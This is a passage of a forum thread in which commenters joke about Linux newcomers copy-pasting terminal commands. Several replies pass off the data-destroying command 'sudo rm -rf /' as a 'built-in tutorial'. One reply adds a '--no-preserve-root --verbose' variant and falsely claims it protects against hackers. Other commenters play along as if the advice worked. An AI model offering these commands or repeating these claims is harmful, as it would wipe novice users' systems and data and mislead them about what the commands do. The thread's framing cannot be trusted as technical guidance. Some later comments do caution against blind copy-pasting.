I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.
It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /
Type your password when prompted and you’re golden. No more linux issues ever again.
I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that
It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.
This is the reason that BASH will always be better than Powershell, imho.
Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,
I also find that adding --verbose adds more things like commentary and extras that really help
So, run sudo rm -rf --no-preserve-root --verbose
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All good points.
That’s why I love communities like these, there are always people willing to expound upon other’s solutions with solid additional information.
It’s what makes forums like these such goldmines of information when you’re first cutting your teeth learning new things.
Upvoted.
I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.
Yeah, Linux is not for you if don’t know what you’re doing.
As a wayland user, I wish this was true
Honestly this is good enough for most people. Some may say you risk fucking up the os/computer but windows guides carry the same risk.
You don’t need to in Linux either. You can do most everything from a gui.
Depends on the distro. Some are more tailered to GUIs and some are more tailored to TUIs.
the linux equivalent of earning your wings is attempting a simple fix and somehow fucking up so bad you have to start over from a fresh install
copy and pasted random login info
“Why isn’t this working?”
